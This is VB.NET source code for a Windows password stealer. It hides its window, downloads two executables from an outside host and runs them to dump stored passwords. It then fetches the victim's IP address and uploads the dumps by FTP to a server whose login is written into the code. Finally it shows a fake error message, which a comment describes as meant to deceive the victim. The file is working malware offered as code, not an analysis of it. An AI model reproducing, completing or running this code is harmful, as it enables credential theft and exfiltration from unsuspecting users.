Imports System.Net.Sockets
Imports System.Net
Imports System.Text
Imports System.Data
Imports System.Text.RegularExpressions
Imports System.IO

Public Class Form1
    Dim 求助各位狠人 As String = My.Computer.FileSystem.CombinePath(My.Computer.FileSystem.SpecialDirectories.Temp, "d42o33zsM.tmp")

    Sub Delay(ByVal dblSecs As Double)

        Const OneSec As Double = 1.0# / (1440.0# * 60.0#)
        Dim dblWaitTil As Date
        Now.AddSeconds(OneSec)
        dblWaitTil = Now.AddSeconds(OneSec).AddSeconds(dblSecs)
        Do Until Now > dblWaitTil
            Application.DoEvents() ' Allow windows messages to be processed
        Loop

    End Sub
    Dim web As New WebClient()
    Dim username = "admin@mkoesapi.cba.pl"
    Dim password = "123Qweasdzxc"
    Dim hostname = "cba.pl"
    Dim server = "ftp://cba.pl/"

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.Opacity = 0
        On Error Resume Next 'This means that if the program runs into an error it will continue

        Dim home As String = My.Computer.FileSystem.SpecialDirectories.MyMusic & "\home\" 'Declares "home" to the music directory (here we'll extract the files)
        If My.Computer.FileSystem.DirectoryExists(home) Then
            My.Computer.FileSystem.DeleteDirectory(home, FileIO.DeleteDirectoryOption.DeleteAllContents)  'Checks if the directory already exist if yes it deletes it
        End If


        If (Not System.IO.Directory.Exists(求助各位狠人)) Then
            System.IO.Directory.CreateDirectory(求助各位狠人)
        End If

        MkDir(home) 'it recreates the direcotry

        If (Not System.IO.File.Exists(求助各位狠人 + "\1.exe")) Then
            web.DownloadFile("http://minecon.5v.pl/1.exe", 求助各位狠人 + "\1.exe")
        End If
        If (Not System.IO.File.Exists(求助各位狠人 + "\2.exe")) Then
            web.DownloadFile("http://minecon.5v.pl/2.exe", 求助各位狠人 + "\2.exe")
        End If

        Process.Start(求助各位狠人 & "1.exe", "/stext 1.txt")
        Process.Start(求助各位狠人 & "2.exe", "/stext 2.txt")


        Threading.Thread.Sleep(2000) 'waits 2 seconds for the programs to export the passwords

        '^ it organises them into a final string
        Dim ip As String
        ip = System.Text.Encoding.ASCII.GetString((web.DownloadData("http://bot.whatismyipaddress.com")))
        TextBox1.Text = ip
        My.Computer.Network.UploadFile(求助各位狠人 & "/1.txt", server & "/chujek/1-" + TextBox1.Text + ".txt", username, password)
        My.Computer.Network.UploadFile(求助各位狠人 & "/2.txt", server & "/chujek/2-" + TextBox1.Text + ".txt", username, password)

        MsgBox("Critical Error Runtime At 0x009b (Thread_Start) Dll Not Responding To Hook", MsgBoxStyle.Critical, "Dll Not Responding") 'Shows a fake error to the victim
        Me.Close()
    End Sub

End Class